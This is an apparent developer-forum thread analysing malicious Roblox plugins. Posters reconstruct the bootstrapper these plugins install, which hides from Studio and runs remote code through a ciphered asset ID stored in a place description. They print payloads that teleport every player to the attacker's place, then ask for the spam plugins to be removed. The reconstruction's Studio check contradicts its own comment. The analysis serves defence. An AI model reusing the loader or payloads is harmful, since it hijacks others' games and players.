After figuring out how, I decided to probe this 1194217533 module.
First, it exits if the module is running in studio, by checking RunService:IsStudio.
Next, it calls GetProductInfo for this place.
It gets the Description field, decodes it as JSON, and gets the “followId” field.
Then it appears to parse this value in some way. By the end, it has another asset ID, which it requires.
The resulting module returns a function which is called immediately.
Then, some function is pcalled every 30 seconds.
Some follow up. I’ve written a wrapper that proxies every value in a function’s environment, allowing me to hook into which APIs are accessed. It also can spoof values, and block access to sensitive APIs.
The 1194217533 module is a bootstrapper. Here’s a somewhat equivalent source based on what I’ve been able to gather:
-- Exit if in studio.
if not game:GetService("RunService"):IsStudio() then
return
end
-- Get remote data.
local PlaceId = 1194188859
local description = game:GetService("MarketplaceService"):GetProductInfo(PlaceId).Description
local followId = game:GetService("HttpService"):JSONDecode(description).followId
-- Decode module ID.
local cipher = {j=0, h=1, y=2, l=3, x=4, b=5, n=6, m=7, k=8, s=9}
local id = ""
for i = 1, #followId do
id = id .. cipher[followId:sub(i,i)]
end
-- Bootstrap module.
require(tonumber(id))()
while true do
wait(30)
s, m = pcall(func()
-- Unknown contents.
-- Does not seem to access any APIs.
-- Throws a "C stack overflow" error
end)
-- Maybe some more stuff that would use `s` and `m` here.
end
It could be made more accurate by hooking bits of the API with debug.traceback, which will leak line numbers within the module.
I’m not sure what the pcalled function is doing. It may be that the wrapper is throwing the error.
This user has uploaded many repeated modules, the latest of which is bootstrapped. Given that the user is already familiar with bots, I think they use a tool that does the following:
Uploads a payload module.
Encodes the module’s asset ID using a simple cipher.
Updates the description of 1194188859 to point to the encoded ID.
On a final note, if you want to harden the security of your private modules, make sure that no returned function accesses its environment table, since it can be easily swapped out with setfenv.
return (function() local players = game:GetService("Players"):GetPlayers()
local ts = game:GetService("TeleportService")
local pid = 1195736381
for _, player in pairs(players) do
ts:Teleport(pid, player)
end end)
Another one teleports to his place
return (function() local players = game.Players:GetPlayers()
local teleportService = game:service'TeleportService'
for i,v in pairs(players) do
teleportService:Teleport(1194188859, v)
end end)
Good work @Anaminus, you’re spot on. However, seems like the guy uses the description to further obscure the purpose. The current value led me to an asset that contains this:
PluginCreator is banned but all his plugins are still around and it really makes it hard to find plugins when 500 out of 530 of your search results are garbage plugins that install malicious module scripts into your game. Is it possible to delete all the plugins that got uploaded by the account?
Agreed, after a slightly frustrating attempt to find a plugin & seeing pages of this guy’s virus plugin, banning him clearly wasn’t enough – his entire suite of “plugins” should be deleted from the site. They should automatically be uninstalled from everyone’s studio (but I’d understand not doing that if it would require engineering effort).
This model which he’s using to execute arbitrary code in others’ games should be deleted or replaced with an empty module script so infected games don’t have to worry about his code (to be fair, this may have been done, but I can’t tell).
Having viruses run rampant is a bad image for players to see.
I literally cannot use the search feature because plugincreator has duplicated each of the plugins at least 20 times each. Surely there’s a way to purge a user’s assets?